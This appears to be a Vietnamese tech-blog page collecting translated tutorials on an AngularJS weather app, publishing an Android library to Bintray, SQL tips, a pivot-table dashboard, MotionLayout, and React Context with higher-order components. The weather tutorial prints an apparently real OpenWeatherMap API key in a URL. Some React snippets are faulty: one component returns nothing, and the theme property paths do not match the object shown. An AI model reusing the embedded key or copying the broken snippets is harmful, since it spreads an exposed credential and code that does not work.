Home Blog Page 195

Buils một ứng dụng thời tiết sử dụng AngularJS

Người viết: Đinh Quốc Hội

Xin chào các bạn, bây giờ một ngày hầu hết mọi người thích xem báo cáo thời tiết của các thành phố cụ thể của họ. Vì vậy, tất cả mọi người có thể có nghi ngờ rằng làm thế nào các ứng dụng thời tiết được thực hiện / phát triển và khái niệm chính đằng sau này là gì. Vì vậy, không cần phải lo lắng và suy nghĩ về điều đó nhiều, bởi vì trong bài viết này, chúng ta sẽ xem làm thế nào chúng ta có thể phát triển ứng dụng Weather của riêng mình bằng cách sử dụng Angular JS.

Trước khi nói điều này, ta chỉ muốn thông báo cho bạn rằng bạn nên biết về Angular JS, REST Full API và JSON. Nếu bạn không biết về những công nghệ này, tôi sẽ chia sẻ một số tài liệu tham khảo và sau này tôi sẽ viết blog trên các công nghệ này, để bạn có thể có được một số ý tưởng.

Sau đây là các bước để phát triển Ứng dụng thời tiết bằng Angular JS

  • Nhận một WebService API thời tiết được cung cấp bởi bất kỳ nhà cung cấp dịch vụ nào.
  • Thiết kế một mẫu HTML.
  • Logic để xử lý API và hiển thị dữ liệu trên mẫu

Tham khảo cách sử dụng AngularJS tại đây

Bước 1: (Lấy API thời tiết)

Trong bước này, chúng ta cần có API thời tiết.

API thời tiết là gì: API thời tiết là dịch vụ, có một số chức năng hoặc phương pháp để cung cấp dữ liệu thời tiết (dưới định dạng JSON hoặc XML) của một vị trí cụ thể.

Cách nhận API thời tiết: Có rất nhiều nhà cung cấp dịch vụ để cung cấp báo cáo Thời tiết. Trong ví dụ này, chúng ta sẽ sử dụng API thời tiết do Openweathermap cung cấp.

Cách sử dụng API thời tiết: Nhà cung cấp dịch vụ API thời tiết cung cấp URL (ví dụ: URL API thời tiết). Khi chúng ta gọi URL, chúng ta sẽ nhận được một số dữ liệu ở định dạng cụ thể (ví dụ: JSON, XML, v.v.). Trong ví dụ này, chúng ta sẽ sử dụng dữ liệu định dạng JSON. Sau khi nhận được dữ liệu của bất kỳ định dạng nào, chúng ta cần viết logic để hiển thị dữ liệu trên Mẫu HTML. Sau đây là chi tiết về API thời tiết và cách sử dụng của nó cho ví dụ này,

Truy cập vào links https://home.openweathermap.org/api_keys đăng nhập và lấy api_keys. 

Chúng ta cần gọi URL sau: 

https://api.openweathermap.org/data/2.5/weather?appid=e89c7405a5f0c2f6ac5d813233606e24&units=metric&q=saigon

Màu đỏ là links api;

Màu cam (appid) là links api_key.

màu xanh dương (&units) :lấy nhiệt độ °C

Màu tím (&q=saigon): Thành phố

Truy cập vào link chúng ta sẽ có chuỗi json như sau:

Bây giờ những gì chúng ta phải làm là, chúng ta cần hiển thị các dữ liệu JSON này trong mẫu HTML. Làm thế nào để hiển thị dữ liệu JSON, chúng ta sẽ thấy trong các bước tiếp theo.

Bước 2: (Thiết kế mẫu HTML)

Sau đây là mã HTML để thiết kế mẫu, ở đây trong mẫu này, chúng ta cũng sẽ sử dụng biểu thức AngularJS để hiển thị dữ liệu. các bạn có thể tùy chỉnh css riêng cho đẹp hơn.

Tóm tắt về nội dung HTML 
1. Khai báo ng-app và ng-controller trong thẻ

<div ng-app = "MyApp" ng-controller = "MyCont"> 

mục đích là để thẻ <div sẽ nhận được dữ liệu từ từ các đoạn code xử lý bên angularjs truyền vào

2. Khai báo 1 ô input để nhập tên thành phố vào với directive ng-model = "cityName"

<input type = "text" ng-model = "cityName" id = "textData" placeholder = "Enter Your City Name">

và 1 button có sự kiện ng-click = "funGet()"  khi click sẽ hiển thị tên nhiệt độ tại thành phố đó.

<input class = "myBtn" type = "button" value = "GetDetails" ng-click = "funGet()">

3. Hiển thị dữ liệu ,các thành phần để hiển thị dữ liệu sẽ nằm trong  {{ name }}

các phần hiển thị nhiệt độ sẽ xử dụng filter numer có thành phần thập phân với độ dài là 1

{{ tmp | number : 1 }}

Có thể tham khảo thêm tại đây

Bước 3: Xử lý API và hiển thị dữ liệu trên mẫu HTML

Trong bước này, chúng ta sẽ viết logic để xử lý API thời tiết và hiển thị dữ liệu cuối cùng trên mẫu HTML được thiết kế ở bước trên. Về cơ bản chúng ta sẽ viết logic này bên trong bộ điều khiển như sau,

1. Khai báo tên ng-app var app = angular.module('MyApp', []);

Khai báo tên ng-controlllerMyCont và truyền vào 2 tham số $scope,$http app.controller('MyCont', function($scope, $http)

2. Code xử lý sự kiện khi click button ,tạo 1 biến url chứa links api và kết hợp nối chuỗi với $scope.cityName để nối với tên thành phố và sử dụng get để lấy dữ liệu và trả về html.

3. Nhìn vào dữ liệu ở dạng json ta sẽ lấy các trường như: temp,temp_min,temp_maxicon để hiển thị hình ảnh.

temp sẽ là nhiệt độ trung bình

để có chút khác biệt ở temp_mintemp_max,  ta sẽ lấy temp_min -1temp_max +1 để chênh lệnh nhau 1 °C 

Sau đây là code Angular js xử lý.

Code tổng quát :

Kết quả:

Chú thích :

Cấu trúc thư mục của bạn phải như sau

WeatherApp

          |

          |

          | —————–> index.html (Mã được đề cập trong Bước 1)

          |

          | —————–> script.js (Mã được đề cập trong Bước 2)

          |

Trong bài viết này, chúng ta chỉ thấy Ứng dụng thời tiết cơ bản với một số tính năng cơ bản, sau này tôi sẽ viết về một số tính năng nâng cao.

Reference: devinfo99.blogspot.com

Tạo và xuất bản một thư viện cho Android

Tạo và xuất bản một thư viện cho Android

Tác giả: Ahmed Dawoud

Tôi đã luôn muốn tạo ra một thư viện và “ đóng góp vào mã nguồn mở”, nhưng từ đó đến  giờ chưa thực sự có bất cứ thứ gì giá trị để đóng góp cả, cho đến khi tôi cần tự xuất bản một thư viện của mình , vì vậy, đây là hướng dẫn về cách làm và xuất bản thư viện!

Hiện tại  tôi đang làm việc trong một project mà tôi phải thực hiện một công cụ có thiết lập thời gian, vì vậy suy nghĩ đầu tiên của tôi là hiển thị hộp thoại TimePicker và sau khi người dùng đã chọn  Start Time, tôi sẽ hiển thị một mục khác trong đó để họ có thể chọn End Time.

Mặc dù điều này ổn, nhưng nó vô cùng tẻ nhạt đối với người dùng vì họ phải nhớ thời gian họ chọn và họ sẽ khó  truy cập trong trường hợp muốn thay đổi lại. Hơn nữa, tôi đã thấy đuối đối với các phương thức callback, bởi lẽ tôi chỉ có thể hiển thị hộp thoại thứ hai sau khi người dùng hoàn tức hộp thoại đầu tiên và tức nhiên tôi đã phải lưu thời gian được chọn này ở đâu đó, …

Từ đây, thư viện nhỏ của tôi, bottomSheetTimeRangePicker đã ra đời (tên nghe dài dòng đến nực cười, tôi biết!). Nó hiển thị một bottomSheetDialogFragment có hai tab, mỗi tab có TimePicker riêng, nơi người dùng có thể chọn giới hạn thời gian mong muốn và tùy ý thay đổi trước khi nhấn vào “Done”.

Tuyển dụng android đi làm gấp trong tháng

Tốt rồi, nhưng làm thế nào để bạn làm một thư viện?

Một thư viện về cơ bản là chỉ một project Android, khác ở việc đóng gói. Nó có thể bao gồm mọi thứ mà module làm, như các tệp tài nguyên(resource files), Android manifest và thậm chí cả các thành phần có liên quan bên ngoài. Tuy nhiên, thay vì biên dịch thành APK chạy trên thiết bị, nó sẽ biên dịch thành một file Android Archive (AAR) mà bạn có thể sử dụng như dependency cho module ứng dụng Android.

Để tạo module thư viện trong Android Studio, bạn chỉ cần thực hiện việc như sau:

  • Click File > New > New Module.
  • Trong cửa sổ Create New Module, chọn Android Library, sau đó chọn Next.
  • Đặt tên cho thư viện và chọn phiên bản SDK tối thiểu để code trong thư viện, sau đó nhấp vào Finish.

Đợi Gradle sync, sau đó module thư viện mới của bạn sẽ xuất hiện phía bên trái của bảng. Xin chúc mừng!

Bạn có thể tìm hiểu thêm qua các tài liệu chính thức ở đây

Ok, làm thế nào để tôi xuất bản thư viện này?

Có nhiều cách để phân phối, vì vậy, đây là một vài trong số đó

1. Jitpack

Đây có lẽ là một trong những cách dễ dàng nhất. Bạn đăng nhập bằng tài khoản Github của mình, thêm repo  và thế là bạn đã cài đặt rồi đó!

2. jCenter

jCenter () là một kho lưu trữ trung tâm được của Bintray và để xuất bản thư viện của bạn ở đó, bạn sẽ phải tạo một tài khoản trên bintray. Nếu bạn lên kế hoạch xuất bản một thư viện mã nguồn mở, bạn có thể đăng ký tài khoản miễn phí tại đây. Mặt khác, bạn có thể xem xét các gói trả phí  để lưu trữ vào các kho riêng.

Thêm một kho lưu trữ mới để lưu trữ dự án của bạn

Kho lưu trữ mới sẽ xuất hiện trên tài khoản của bạn. Mở nó và thêm vào package mới

Tạo một package bên trong kho lưu trữ mới của bạn

Nhận khóa API

Tiếp theo, bạn cần lấy khóa API để sử dụng nó để đưa thư viện của bạn từ Android Studio lên kho lưu trữ. Truy cập https://bintray.com/profile/edit và chọn API Key từ menu bên trái.

Đã gần xong rồi! Tất cả những gì bạn cần làm lúc này là thêm một số tập lệnh Gradle cho thư viện

Thêm tên người dùng và khóa API của bạn vào tệp local.properIES của bạn

Mở tệp local.properIES (đảm bảo rằng nó đã được thêm vào .gitignore!) và thêm vào như sau:

user=yourUsername
apiKey=yourApiKey

Thêm các plugin Bintray và Maven Gradle vào project của mình

Trong file build.gradle, hãy thêm vào dependencies các liên kết này vào buildscript

dependencies {
       classpath 'com.jfrog.bintray.gradle:gradle-bintray-plugin:1.8.4'
       classpath 'com.github.dcendents:android-maven-gradle-plugin:2.1'
}

Tạo script để upload  thư viện của bạn lên Bintray

Nhờ thuộc tính module Gradle, chúng tôi có thể trích xuất tất cả các script cần thiết để thực hiện việc này và đặt chúng vào một file duy nhất. Trong gói thư viện của bạn, tạo một file mới gọi là Publish.gradle và dán code này vào đó.

apply plugin: 'maven-publish'
apply plugin: 'com.jfrog.bintray'

version '1.0' // your library version
group 'com.adawoud' // whatever group name you'd like

publishing {
    publications {
        Production(MavenPublication) {
            artifact("$buildDir/outputs/aar/bottomsheettimerangepicker-release.aar") // replace with your library name
            groupId this.group
            artifactId 'bottomsheettimerangepicker' // replace with your library artifact id
            version this.version

            pom.withXml {
                def dependenciesNode = asNode().appendNode('dependencies')

                // Iterate over the implementation dependencies (we don't want the test ones),
                // adding a <dependency> node for each
                configurations.implementation.allDependencies.each {
                    // Ensure dependencies such as fileTree are not included in the pom.
                    if (it.name != 'unspecified') {
                        def dependencyNode = dependenciesNode.appendNode('dependency')
                        dependencyNode.appendNode('groupId', it.group)
                        dependencyNode.appendNode('artifactId', it.name)
                        dependencyNode.appendNode('version', it.version)
                    }
                }
            }
        }
    }
}

bintray {
    user = project.hasProperty('user') ?: System.getenv('BINTRAY_USER')
    key = project.hasProperty('apiKey') ?: System.getenv('BINTRAY_API_KEY')
    publications = ['Production']
    configurations = ['archives']
    // Default: false. Whether to run this as dry-run, without deploying
    dryRun = false
    // Default: false. Whether to override version artifacts already published
    override = false
    // Default: false. Whether version should be auto published after an upload
    publish = true
    pkg {
        repo = 'BottomSheetTimeRangePicker' // the name of the repository you created on Bintray
        name = 'com.adawoud.bottomsheettimerangepicker' // the name of the package you created inside it
        version {
            name = this.version
            released = new Date()
            vcsTag = this.version
        }
    }
}

Sau đó, trong file build.gradle, hãy thêm dòng code sau vào dưới cùng: apply from: 'publish.gradle'

Điều duy nhất bạn cần quan tâm trong file này là ba dòng: groupId, artifactId, version. Đồng thời, chúng tạo liên kết đến thư viện của bạn, vì vậy người dùng có thể tải xuống bằng cách này:

implementation 'groupId:artifactId:version’

Upload lên Bintray

Điều cuối cùng còn lại phải làm là xuất bản thư viện mới của bạn lên bintray để  người khác có thể sử dụng nó. Vì vậy, build project của mình, kích hoạt terminal trong Android Studio và gõ lệnh này:

Nếu bạn dùng Windows

gradlew bintrayUpload

Nếu bạn dùng Linux / Mac

gradle bintrayUpload

Chỉ vậy thôi! Thư viện của bạn hiện đã được xuất bản và  người khác có thể sử dụng nó. Tôi hy vọng bạn cảm thấy hữu ích qua bài này. Bạn có thể xem code vận hành  trong thư viện của tôi ở đây.

Bài viết gốc được đăng tải tại Medium

Xem thêm các vị trí tìm việc ngành cntt khác tại đây

SQL Series: 5 mẹo dành cho SQL

1. Giữ tên cột và bảng đơn giản

  • Sử dụng một từ cho tên bảng thay vì hai. Nếu bạn cần sử dụng nhiều từ, hãy sử dụng dấu gạch dưới thay vì dấu cách hoặc dấu chấm.
  • Có dấu chấm “.” trong tên của các object sẽ gây nhầm lẫn giữa tên lược đồ và cơ sở dữ liệu. Mặt khác, sử dụng spaces có nghĩa là bạn cần phải thêm dấu ngoặc kép trong truy vấn của mình để cho nó có thể chạy.
  • Giữ tên cột và bảng được nhất quán bằng chữ thường để người dùng không phải nhầm lẫn nếu bạn chuyển sang cơ sở dữ liệu phân biệt chữ hoa chữ thường.

Tìm việc làm SQL mới nhất trong tháng

2. Xử lý vấn đề ngày, tháng, năm trong SQL

  • Chuyển đổi date thành datetime biểu để cải thiện hiệu suất.
  • Sẽ khó hơn khi làm việc với các ngày được lưu trữ dưới dạng chuỗi vì thế hãy đảm bảo những chúng không bao giờ được dùng để biểu thị ngày tháng.
  • Không chia nhỏ năm, tháng và ngày thành các cột riêng biệt. Điều này khiến cho các truy vấn khó viết và lọc hơn nhiều.
  • Luôn sử dụng UTC cho múi giờ của bạn. Nếu bạn có sự kết hợp giữa UTC và non-UTC, điều đó sẽ khiến cho việc hiểu dữ liệu khó khăn hơn nhiều.

3. Hiểu rõ thứ tự execute và chạy Query

  • Việc hiểu thứ tự truy vấn có thể giúp bạn hiểu cách truy vấn hoạt động cũng như lí do vì sao truy vấn của bạn sẽ không chạy.
FROM – Includes JOINs so consider using a CTE or subquery to do filtering first. 
WHERE - To limit the joined dataset. 
GROUP BY – Collapses fields down with aggregate functions (COUNT, MAX, SUM, AVG) 
HAVING - Performs the same function as the WHERE clause with aggregate values.
SELECT - Specifies values and aggregations remaining in the set after grouping.
ORDER BY – Returns the table sorted by a column or multiple columns. 
LIMIT – Specifies how many rows to be returned to avoid returning too much data.

4. Các hạn chế của NULL

  • NULL có nghĩa là giá trị không xác định, không phải 0 và không phải bị bỏ trống. Điều này làm cho nó khó so sánh các giá trị nếu bạn muốn so sánh NULL với NULL. Tùy thuộc vào những gì bạn đang yêu cầu mã của mình để làm sẽ ảnh hưởng đến chiến lược bạn cần phải thực hiện. Đọc thêm về NULL và cách giải quyết vấn đề tại đây.

5. Biết cách tạo bảng

  • Khi tạo bảng từ một bảng, hãy sử dụng `SELECT TOP 0` để tạo cấu trúc của bảng trước khi chèn dữ liệu vào.
  • Dù nó phải mất tới hai bước thay vì một nhưng bù lại sẽ giúp giảm thời gian xử lý.
insert into <table name2>
select [ID] ,
[CreatedDate] ,
[RegionName] ,
[SalesPerson]
from <table name1 >
  • Nếu bạn muốn cập nhật một bảng với dữ liệu mới, hãy sử dụng lệnh `TRUNCATE`. Nó sẽ xóa tất cả các hàng khỏi bảng mà không xóa định dạng và tiêu đề
truncate table <table name1> -- deletes the contents of the table


insert into <table name1>
select
[ID] ,
[CreatedDate] ,
[RegionName] ,
[SalesPerson]
from ...

Làm thế nào để tạo một bảng BI Dashboard bằng cách sử dụng một bảng Pivot và một thư viện biểu đồ?

Tác giả: Veronika Rovnik

Khi suy nghĩ về phân tích dữ liệu , có lẽ dữ liệu bảng tính là điều đầu tiên xuất hiện trong đầu bạn. Nhưng phân tích dữ liệu không chỉ là số lượng và văn bản khô. Nếu được tiếp cận chính xác và kết hợp với các thành phần trực quan , phân tích có thể thay đổi hoàn toàn cách bạn đang kinh doanh và mang nó đến một cấp độ phát triển mới.

Bất kể ngành công nghiệp bạn đang làm việc là gì, tôi chắc chắn rằng việc hình dung dữ liệu thuộc về các kỹ năng hàng đầu cần thiết trong thị trường lao động. Đó là lý do tại sao hôm nay tôi muốn mô tả cách tối đa hóa tiềm năng của bài trình bày của bạn với sự trợ giúp của việc xoay vònglập biểu đồ.

Thực hiện theo các nguyên tắc này, cuối cùng, bạn sẽ tìm hiểu cách tạo trang tổng quan tương tác với bảng tổng hợp và biểu đồ. Trong trường hợp của chúng ta, sự tương tác đơn giản có nghĩa là tất cả các thay đổi được áp dụng cho báo cáo sẽ được phản ánh trong các biểu đồ ngay lập tức.

Kỹ thuật hiển thị dữ liệu này giúp đạt được báo cáo hiệu quả và đưa ra quyết định sáng suốt.

Những điều cần nhớ trước khi bạn bắt đầu

Hãy để tôi cung cấp cho bạn một số mẹo về trực quan hóa:

  • Chọn công cụ để tóm tắt dữ liệu của bạn.
  • Chọn biểu đồ đúng và sử dụng các mẫu màu tự nhiên.
  • Biết tên miền và đối tượng của bạn để truyền đạt thông tin quan trọng.

Toàn bộ quá trình khá đơn giản và bạn chỉ cần biết những điều cơ bản về JavaScript để bắt đầu . Tôi sẽ cung cấp cho bạn mã code mẫu. Nếu bạn muốn nhận kết quả ngay lập tức, hãy kiểm tra bản demo CodePen ở cuối bài viết.

>>> Xem thêm: Codepen là gì ? Hướng dẫn sử dụng Codepen cơ bản

Công cụ cho Analytics

Chúng ta sẽ sử dụng các công cụ sau cung cấp tóm tắt dữ liệu và khả năng hiển thị:

  1. Bảng tổng hợp Flexmonster – thành phần bảng tổng hợp được làm giàu với cả tính năng báo cáo cơ bản và nâng cao – tổng hợp, lọc, sắp xếp, xuất và tùy chỉnh được tích hợp sẵn. Được viết bằng JavaScript, nó có thể được nhúng vào một ứng dụng một cách dễ dàng.
  2. Google Charts – một dịch vụ web chứng tỏ là một trong những công cụ tạo biểu đồ phổ biến nhất. Nó đơn giản để sử dụng do một API dễ hiểu. Có một danh sách đầy đủ các loại biểu đồ có sẵn có thể được tùy chỉnh theo bất kỳ yêu cầu thiết kế nào.

Bước 1 : Chuẩn bị dữ liệu của bạn

Trong hướng dẫn này, chúng ta viết một hàm trả về một mảng các đối tượng JSON.

Dưới đây là ví dụ về tập dữ liệu tiếp thị của tôi:

function getData() {
    return [{
            "Channel": "Organic Search",
            "Date": "2018-08-01",
            "Session": "Mobile",
            "Time on Site (seconds)": 980,
            "Country": "Canada"
        },
        {
            "Channel": "Organic Search",
            "Date": "2018-08-01",
            "Session": "Desktop",
            "Time on Site (seconds)": 230,
            "Country": "France"
        },
        //
    ]

Ở giai đoạn này, tôi khuyến khích bạn chọn dữ liệu của riêng bạn.

Bước 2: Xác định báo cáo trong bảng

Tôi đã làm theo hướng dẫn trong hướng dẫn Flexmonster có vẻ thân thiện với người mới bắt đầu. Kết quả – thành phần được xây dựng trong dự án của tôi.

Bây giờ là lúc để trả lời những gì bạn muốn xem trên lưới và trong biểu đồ .

Trong báo cáo này, tôi muốn phân loại các phiên trên trang web của mình theo lưu lượng truy cập và xem có bao nhiêu phiên trong một khoảng thời gian nhất định. Ngoài ra, tôi muốn kiểm tra phần trăm thời gian mà người dùng đã sử dụng trên trang web.

Hãy chuẩn bị lát cho báo cáo.

Đặt các trường vào cột, hàng, số đo và xác định hàm tổng hợp cho các số đo.

var pivot = new Flexmonster({
            container: "pivot-container",
            componentFolder: "https://cdn.flexmonster.com/",
            toolbar: true,
            report: {
                dataSource: {
                    data: getData()
                },
                formats: [{
                    maxDecimalPlaces: 2
                }],
                "slice": {
                    "rows": [{
                            "uniqueName": "Channel"
                        },
                        {
                            "uniqueName": "Country"
                        }
                    ],
                    "columns": [{
                            "uniqueName": "[Measures]"
                        },
                        {
                            "uniqueName": "Date.Year"
                        }
                    ],
                    "measures": [{
                            "uniqueName": "Session",
                            "aggregation": "count"
                        },
                        {
                            "uniqueName": "Time on Site (seconds)",
                            "aggregation": "percent"
                        }
                    ]
                },

            });

Bước 3 : Kết nối với Google Charts

Thứ nhất, thêm bộ nạp của Google Charts bằng cách bao gồm các tập lệnh của nó vào trang web. Thứ hai, thêm trình kết nối của Flexmonster:

<script src="https://www.gstatic.com/charts/loader.js"></script>
<script src="flexmonster/lib/flexmonster.googlecharts.js"></script>

Thêm đoạn mã sau đây để tải các gói và thiết lập một cuộc gọi lại để biết khi nào các biểu đồ được tải:

google.charts.load('current', {'packages':['corechart']});
google.charts.setOnLoadCallback(onGoogleChartsLoaded);

Bước 4 : Gửi dữ liệu đến biểu đồ

Bây giờ hiển thị dữ liệu từ lưới trong biểu đồ bằng cách sử dụng phương thức flexmonster.googlecharts.getData () . Nó thực hiện việc xử lý trước dữ liệu cho một loại biểu đồ nhất định. Chuyển các hàm gọi lại đến phương thức này được kích hoạt khi dữ liệu được tải vào bảng hoặc được cập nhật.

Xác định các hàm chịu trách nhiệm tạo và vẽ biểu đồ. Đừng quên chọn loại của nó:

function createGoogleChart() {
    if (googleChartsLoaded) {
        pivot.googlecharts.getData({
                type: "column"
            },
            drawChart,
            drawChart
        );
    }
}

function drawChart(_data) {
    var data = google.visualization.arrayToDataTable(_data.data);
    var options = {
        title: "Values by Categories",
        legend: {
            position: 'top'
        }
    };
    var chart = new
    google.visualization.ColumnChart(document.getElementById('googlechart-container'));
    chart.draw(data, options);
}

Bây giờ bạn đã thiết lập tất cả các chức năng cơ bản, hãy chuyển sang tùy chỉnh nâng cao.

Một ưu điểm thêm

Nếu bạn muốn làm nổi bật dữ liệu nói nhiều nhất và gây ấn tượng với đồng nghiệp hoặc bạn bè của mình bằng tính độc đáo của báo cáo, hãy thử sử dụng tính năng ‘Định dạng có điều kiện’. Hãy để tôi chỉ cho bạn những gì tôi có:

Tôi đã đặt “điều kiện” cho phiên bản bảng tổng hợp. Để không đặt nhiều mã, bạn có thể xem chi tiết trong bản trình diễn ở cuối hướng dẫn.

Bây giờ các màu từ biểu đồ tương ứng với màu của các ô và bảng điều khiển phân tích đã sẵn sàng để sử dụng.

Kết luận

Hãy tóm tắt những gì chúng ta đã đạt được với hướng dẫn đơn giản này:

  • Bảng tổng hợp được nhúng trong ứng dụng web của chúng ta. Nó chứa đầy dữ liệu chúng ta muốn phân tích.
  • Biểu đồ hiển thị nội dung từ bảng và phản ứng với bất kỳ thay đổi nào trong báo cáo. Thử thay đổi dữ liệu trong báo cáo động: kéothả các trường, lọc các bản ghi và xem biểu đồ được thay đổi như thế nào.

Bài viết gốc được đăng tải tại Medium

Khi ta kết hợp MotionLayout và ShapeOfView…

Tác giả: florent champigny

Bằng cách sử dụng MotionLayout, bạn có thể đưa ra một cách thiết kế hoàn toàn khác biệt và linh hoạt  cho ứng dụng của mình. Quên đi màn hình tĩnh không có bất kỳ animation nào, và hãy thêm một số chuyển động nào! 

 

 

 

 

 

 

 

 

MotionLayout

MotionLayout là một class mới có sẵn trong thư viện ConstraintLayout 2.0 để giúp các lập trình viên Android quản lý animation của chuyển động và widget trong ứng dụng.

Có thể định nghĩa các thay đổi  từ layout xml. Chúng ta xác định một chuyển động: một Swipe trên nút màu đỏ, và một giá trị khởi đầu: nằm bên phải của nút đó.

Sau đó, chúng ta cần xác định các ràng buộc ở vị trí điểm đầu và các ràng buộc ở vị trí điểm cuối. MotionLayout sẽ tự động tính toán chuyển động và xử lý các sự kiện và animation:

 

 

 

 

ayout description (xml/scene_06)

MotionLayout thực sự đang ở giai đoạn alpha, nhưng bạn có thể import vào để sử dụng trong gradle như sau:

implementation 'androidx.constraintlayout:constraintlayout:2.0.0-alpha2'

ShapeOfView

ShapeOfView là thư viện UI dành cho Android hiện có trên Github, có thể thay đổi hình dạng của view. Ví dụ: bạn có thể thêm một số RoundRects, Arcs hoặc diagonals vào layout. Ví dụ: có thể tạo hiệu ứng cho view, tôi có thể tạo hiệu ứng động cho phần dưới cùng bên trái của RoundRectShape này:

 

 

 

 

 

 

ShapeOfView đã được animated 

Bạn có thể import vào để sử dụng trong gradle như sau:

implementation 'com.github.florent37:shapeofview:1.4.4'

MotionLayout + ShapeOfViewanimated

Hãy thiết lập lại screen dưới đây:

Layout này chứa 3 view:

1) Một RecyclerView

2) Một ArcView, từ ShapeOfView, có chứa một ImageView (Tháp Eiffel)

3) Một TextView: “I Love Paris”

Tôi sắp xếp các view này trong MotionLayout như sau:

 

 

 

Chuyển động kéo trên RecyclerView là thứ mà chúng ta phải làm, sao cho nó di chuyển lên trên cùng của màn hình.

– Bắt đầu: ArcView được gắn trên đỉnh màn hình và chiều cao của nó là 240dp, góc hình cung được định nghĩa là 60dp, dùng CustomAttribute để làm điều này. RecyclerView có một ràng buộc ở phía dưới của ArcView. TextView được gắn vào giữa ArcView (các ràng buộc top, left, bottom, right), và có một textSize được thiết lập là 40 (sẽ sử dụng phương thức .setTextSize (float)).

 

– Kết thúc: ArcView được gắn ở phía trên cùng của màn hình, nhưng chiều cao của nó trở thành 80dp, góc hình cung của nó trở thành 0dp tròn trĩnh. Ràng buộc của RecyclerView không đổi, nó vẫn nằm dưới ArcView. TextView chỉ cần được gắn vào bên trái của ArcView: Tôi chỉ loại bỏ đúng các ràng buộc và thêm một layout_marginStart. TextSize cuối cùng của TextView được thiết kế là 20.

Kết quả thực sự mượt và tuyệt vời!

 

Bạn có thể sử dụng DiagonalView (ShapeOfView) như một cách xử lý khác cho vấn đề này :

Với MotionLayout, bạn có thể thêm một số thuộc tính vào view của mình và tạo hiệu ứng cho hầu hết mọi thành phần mà không cần tốn qua nhiều sức.

Bài viết gốc được đăng tải tại Medium

React Context API và các Higher-order Components

reactjs

Tác giả: Shems Eddine

Có thể bạn đã gặp qua React’s Context API mà không nhận ra nó, nó tương tự với High-Order-Components.

Nếu bạn đã từng làm việc với Redux, bạn sẽ có kinh nghiệm cả hai, React’s Context API và High-Order-Component, {connect} từ gói react-redux của họ. Hoặc @material-ui/core với withStyles.

Cả hai khái niệm này đều không khó nhưng tôi nghĩ việc nhận ra khi sử dụng chúng mới khó khăn.

Trong ứng dụng tôi đang làm việc, tôi đã có một đối tượng client được sử dụng để lưu trữ các giá trị mặc định và cài đặt mặc định của hệ thống cũng như các đối tượng có thể tái sử dụng (ứng dụng tôi xây dựng cũng có khái niệm về một middlware để các đối tượng trong đó có thể thay đổi dựa trên middlewares injected).

Script

Chúng tôi sẽ làm việc trên “theme” cho ứng dụng của chúng tôi. Chúng tôi có một đối tượng lưu trữ chủ đề mặc định của chúng tôi mà các trang của chúng tôi có thể sử dụng.

Kịch bản này có thể được xây dựng hoàn toàn với React’s Context API.

Context API

Hãy bắt đầu bằng cách tạo một tệp có tên ThemeContext.js.

import React from 'react';
export default React.createContext();

Trong mục nhập của ứng dụng của chúng tôi, chúng tôi muốn phần renders của chúng tôi như sau:

import React from 'react';
import ThemeContext from './ThemeContext';
const App = () => {
return (
    <ThemeContext.Provider value="dark">
      <Welcome />
    </ThemeContext.Provider>
  )
}
ReactDOM.render(<App />, document.getElementById("root"));

Và trong Welcome component:

import React from 'react';
import ThemeContext from './ThemeContext';
const Welcome = () => {
  <ThemeContext.Consumer>
    {theme => {
      return (
        <div style={{background: theme === "dark" ? "#000" : "#fff"}}>
          <h2 style={{color: theme !== "dark" ? "#000" : "#fff"}}>Welcome</h2>
        </div>
      )
    }}
  </ThemeContext.Consumer>
}
export default Welcome;

Điều này thể hiện sự đơn giản của React’s Context API. Trước tiên, chúng tôi đã xác định React’s Context API của mình. Chúng tôi xác định các Provider trong thành phần ứng dụng của chúng tôi ở đây vì điều này sẽ đảm bảo rằng context được cung cấp cho tất cả các component con khi cần thiết.

Tôi nghĩ rằng đó là điều bạn nên biết, nếu Provider không được xác định cao hơn consumer, thì bạn sẽ không bao giờ có thể nhận được các giá trị từ bên trong.

Tiếp theo, chúng tôi xác định consumer của mình, ở đây chúng tôi có thể truy cập context value theme mà chúng tôi có thể sử dụng để tùy chỉnh các component của chúng tôi.

Ví dụ này không khó về mặt kỹ thuật và bạn có thể thoát ra chỉ bằng cách chuyển sang chủ đề như là biện pháp phòng ngừa trong trường hợp này. Tuy nhiên, bạn cần phải tưởng tượng rằng trong một ứng dụng lớn, bạn có thể có hàng tá component cần thiết để truy cập vào giá trị này một cách khác nhau.

Higher-Order Components

Cá nhân tôi ghét cú pháp được sử dụng để sử dụng API Context Consumer và nó có thể mang lại sự mệt mỏi. Ngoài ra nếu theme object của tôi phức tạp, tôi có thể không cần tất cả các giá trị từ nó vì vậy tôi muốn có khả năng lựa chọn khi tôi cần chúng.

Giả sử theme object của tôi trông giống như sau:

const theme = {
  background: {
      color: {
    primary: "#f00",
    secondary: "#f0f"
   }
 }
...// more items here
};

Nếu tôi cần truy cập bất cứ thứ gì ở đây, các component của tôi sẽ bắt đầu trở nên thực sự lộn xộn. Điều gì làm cho nó tồi tệ hơn là nếu bạn có một Context khác mà bạn đang cố truy cập. Sự lồng ghép này sẽ trở nên khủng khiếp.

Vì vậy, hãy tạo Higher-Order Component.

import React from "react";
import ThemeContext from "./ThemeContext";
const defaultMergeProps = (themeProps) => ({
  ...themeProps
});
export const connect = (mergeProps = defaultMergeProps) => ComponentToWrap => {
  return class ClientComponent extends React.Component {
    render() {
      return (
        <ThemeContext.Consumer>
          {theme => {
            const props = {...mergeProps({ theme }), ...this.props};
            return <ComponentToWrap {...props} />;
          }}
        </ThemeContext.Consumer>
      );
    }
  };
};
export default connect;

Ở đây, chúng tôi đang tạo HOC của chúng tôi, được gọi là connect. Điều này có một hàm để chuyển đổi các thuộc tính được truyền vào component của chúng ta. Điều này cũng trả về một hàm có trong component của chúng ta và đưa các thuộc tính vào nó.

Hãy chia nhỏ thêm một chút nữa.

Chúng tôi có function defaultMergeProps có trong theme props. Function mặc định là chỉ trả về các giá trị của theme object.

Bây giờ bạn có thể thấy rằng trong hàm trả về, chúng ta sử dụng Context API (our ThemeContext) consumer và truyền vào theme object xuống hàm mergeProps. Điều này cho phép chúng tôi tùy chỉnh cách chúng tôi sử dụng để giải nén các

import React from 'react';
import { connect } from './connect';
const Welcome = ({primaryBackground, primaryText}) => {
  return (
    <div style={{background: primaryBackground}}>
      <h2 style={{color: primaryText}}>Welcome</h2>
    </div>
  )
}
const mergeProps = (theme) => (
  {
    primaryBackground: theme.background.primary, 
    primaryText: theme.text.color.primary
    }
);
export default connect(mergeProps)(Welcome);

